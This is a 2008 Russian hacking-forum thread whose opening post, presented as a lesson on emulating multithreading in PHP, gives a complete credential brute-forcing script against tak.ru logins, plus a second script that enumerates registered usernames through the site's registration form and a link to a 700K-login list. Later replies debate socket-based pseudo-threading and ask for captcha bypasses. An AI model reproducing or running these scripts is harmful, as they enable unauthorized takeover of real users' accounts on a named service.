PDA

Просмотр полной версии : Эмуляция многопоточности в php на основе брутера Tak.ru


!{ra!{e/\/
17.05.2008, 23:08
Эмуляция многопоточности в php на основе брутера Tak.ru
Теория
Часто возникают ситуации когда требуется быстро обработать информацию. Допустим, при работе с несколькими десятками,сотнями файлов. Скорость выполнения программы можно значительно ускорить, если выполнять их в несколько потоков. В PHP нет возможности организовать реальную многопоточность, но ее можно сделать если извернуться.

Эмуляция многопоточности
Как пример возьмем привычную задачу – брут. Работать будем с сокетами . Многопоточность “симулируюм” с помощью пула не блокирующих сокетов. Брутить будем пароли от учетных записей Tak.ru. Комменты и обьяснения в самом скрипте. Ответ скрипта на правильную пару login+pass “302 Found”(этого нам достаточно).Для работы скрипта создадим файл logins.txt с логинами в той же категории. Максимальное число потоков не рекомендую ставить слишком большим.

<?php
$max_threads = 5;//Максимальное количество потоков
set_time_limit(320); // лимит времени на выполнение. Я поставил 320 сукунд
$get_array=file("logins.txt"); // массив из логинов
for($i=0,$cnt=count($get_array);$i<$cnt;$i++) // удаляем символы перевода каретки
{
$get_array[$i]=trim($get_array[$i]);
}
$pass="pass"; // пароль на который будем подбирать логины
$f=fopen("pass_list.txt",'w'); // сюда будем записывать сбрученные логин+пасс
echo("Всего запросов: " . count($get_array) . "<BR> Поехали! <BR>");
$sockets = array(); //В этом массиве находятся открытые сокеты
$done = false;// Флаг $done используется для остановки скрипта после выполнения работы
$curr = 0; // $curr - будет текущим элементом из всего массива запросов
while (!$done)
{
while (($max_threads > count($sockets)) && ($curr < count($get_array))) // Если количество активных сокетов меньше константы и $curr не превысил допустимые нормы, то запускаем скрипт, который создает недостающее количество сокетов
{
$packet.="POST /enter.php HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/pdf, application/x-shockwave-flash, */*\r\n";
$packet.="Accept-Language: ru\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Host: web.tak.ru\r\n";
$packet.="Content-Length: 52\r\n";
$packet.="Pragma: no-cache\r\n";
$packet.="Connection: Keep-Alive\r\n\r\n";
$packet.="login=$get_array[$curr]&password=$pass&Submit=++OK++&z=enter_form";

$errno = 0;
$error = "";
$sockets[$curr] = fsockopen("web.tak.ru",80);// открываем новый сокет
//stream_set_blocking($sockets[$curr], 0);
stream_set_timeout($sockets[$curr], 3600);
fputs($sockets[$curr], $packet);// Посылаем в этот сокет наш запрос
echo("Создан сокет: " . $curr . "<br>");
$curr = $curr + 1;// Переходим к следующему элементу массива
unset($packet);
}
////sleep(1);// Чтобы не сильно загружать сервер будем проверять данные по всем сокетам через 1 секунду
foreach($sockets as $key => $val)
{

$temp[$key].= fgets($sockets[$key],50); // Получаем данные из текущего сокета [ данных может и не быть ] 50 нам достаточно чтоб определить правильно или нет(экономим трафик и время)
echo $temp[$key];
unset($sockets[$key]); //то удаляем отработавший сокет из массива
echo("Удален сокет: " . $key . "<br>");

}
///echo("Сейчас обрабатывается: " . count($sockets) . " сокетов<BR>");

// если нет активных сокетов, то можно выходить
if (count($sockets) == 0) $done = true;
}
foreach($temp as $key => $val)
{
if ((strpos($temp[$key],"302 Found"))>0) { fputs($f,$get_array[$key].":".$pass."\r\n"); echo " $get_array[$key] $pass-- Пароль правильный";}
else echo " $get_array[$key] $pass--Не правильный пароль ";
}
fclose($f);
echo("<br> Конец");
?>



В дополнении
Чтоб приступить к бруту нужны базы логинов. Если просто в logins.txt вписать какую нибудь базу логинов то работать все же будет но это будет неудобно,больше ненужных запросов т.е трафика и времени поэтому в приложении выкладываю скрипт для отсеивания логинов.
Для работы скрипта создаем файл logins.txt с базой логингов. После завершения работы скрипта зарегистрированные логины отсеются в файл regger_logins.txt


<?php
$tak_names=file("logins.txt");

for($i=0,$cnt=count($tak_names);$i<$cnt;$i++)
{
$tak_names[$i]=trim($tak_names[$i]);
}
echo "Начало работы";

$f=fopen("regger_logins.txt",'w');
foreach($tak_names as $key => $val)
{
$packet.="POST /registuser.php HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/pdf, application/x-shockwave-flash, */*\r\n";
$packet.="Accept-Language: ru\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Host: web.tak.ru\r\n";
$packet.="Content-Length: 136\r\n";
$packet.="Pragma: no-cache\r\n";
$packet.="Cookie: PHPSESSID=7d60872b57f6dea13ff6eba120cf8e12";
$packet.="Connection: Keep-Alive\r\n\r\n";
$packet.="login=$tak_names[$key]&name=13&email=sed@rambller.ru&password=123456&passwordtoo=123456&reg=%C7%E0%F0%E5%E3%E8%F1%F2%F0%E8%F0%EE%E2%E0%F2% FC%F1%FF";
$ock=fsockopen("web.tak.ru",80);
fputs($ock,$packet);
$html='';
//while (!feof($ock))
//{
$html.=fgets($ock,1000);// этого достаточно
sleep(0.05);
//}
echo $html." <br> ";

fclose($ock);
unset($ock);
unset($packet);
echo "<br>";
if ((strpos($html,"302 Found"))>0) echo "$tak_names[$key] Не зарегистрирован";
else { fputs($f,$tak_names[$key]."\r\n");
echo "$tak_names[$key] Зарегистрирован ";
}
}
fclose($f);
?>


В заключении
Почему я подбираю логины к паролю а не наоборот? При восстановлении пароля tak.ru высылает свой пароль из 7 символов содержащих цифры и буквы латинского алфавита(нижние регистры), это увеличивает вероятность(шанс) на подбор.
Скрипт полностью работоспособный, писал сам.
Базу логинов можно скачать отсюда http://slil.ru/25776569 700К логинов(за базы спасибо AdReNa1!Ne).
Целью моей работы было показать один из способов увеличения скорости работы в PHP.
(судить не строго моя первая сатья)

fucker"ok
17.05.2008, 23:34
Ох. Сейчас опять начнется хоули варз... :)

Имхо. Что-то похожее было. Не помню к чему тогда пришли дебаты. Думаю что это все-равно будет в раз медленнее.
$sockets[$curr] = fsockopen("web.tak.ru",80);
Обращение по домену. Если DNS говеный, то будет подвисать.
Особо в код не вчитывался, как понял вначале отсылаем посты, потом получаем. Опять же, если где-то заступорит, то вся "многопоточность" здохнет. :'(

!{ra!{e/\/
17.05.2008, 23:51
Опять же, если где-то заступорит, то вся "многопоточность" здохнет. :'(
..если я правильно понял где-то то если и не писать многопоточный то скрипт здохнет....а если где-то касается именно "многопоточности" то все будет работать хорошо...

!{ra!{e/\/
18.05.2008, 00:02
Особо в код не вчитывался, как понял вначале отсылаем посты, потом получаем.
В этом случае оно так потому что мы не читаем все ..нам достаточно первых 50 при этом зависание маловероятно....
Если надо будет читать полностью то
как понял вначале отсылаем посты, потом получаем
это чуть перепишется не так... и будет работать на ура

fucker"ok
18.05.2008, 00:13
Заступорить может при чтении ответа из сокета или при конверте dns в ip. (Уж не знаю, есть ли там встроенное кеширование)
Например тут fgets($sockets[$key],50);

!{ra!{e/\/
18.05.2008, 00:17
Заступорить может при чтении ответа из сокета или при конверте dns в ip. (Уж не знаю, есть ли там встроенное кеширование)
Например тут fgets($sockets[$key],50);
К многопоточности это особо не касается....А что ты посоветуешь сделать?

Karapuziko
29.05.2008, 13:33
отстой а не статья:(!в моа рвемся???
----------
Показал бы обход капч:(, или реггер какой нить, или свой суперпупер мега эксплойт показал бы:( - скучно, мне жаль тебя:(

desTiny
29.05.2008, 15:14
Так-с... Я вот что подумал...
А что, если собрать недетерминированный аппарат, то есть - создаём скрипт, ну, к примеру перебрающий пассы от 1 до n. А он пишет 2 файла, перебирающие от 1 до [n/2] и от [n/2]+1 до n и вызывает их, и т.д.... вот вам и многопоточность - в итоге за каждые m пассов бкдет отвечать одн файл, а все они запущены...

[Raz0r]
31.05.2008, 21:01
очень старая тема, на ачате уже подобная статья была. Неблокирующие сокеты это не многопоточность, а лишь подобие.
А что, если собрать недетерминированный аппарат, то есть - создаём скрипт, ну, к примеру перебрающий пассы от 1 до n. А он пишет 2 файла, перебирающие от 1 до [n/2] и от [n/2]+1 до n и вызывает их, и т.д.... вот вам и многопоточность - в итоге за каждые m пассов бкдет отвечать одн файл, а все они запущены...
тоже известный способ, наибольший эффект достигается при использовании proc_open(), с помощью которого в *nix создаются чайлды. Но опять же, не смотря на парраллельность, доступа к переменным чайлдов из главного скрипта не получить, т.е. говорить о настоящей многопоточности не приходится.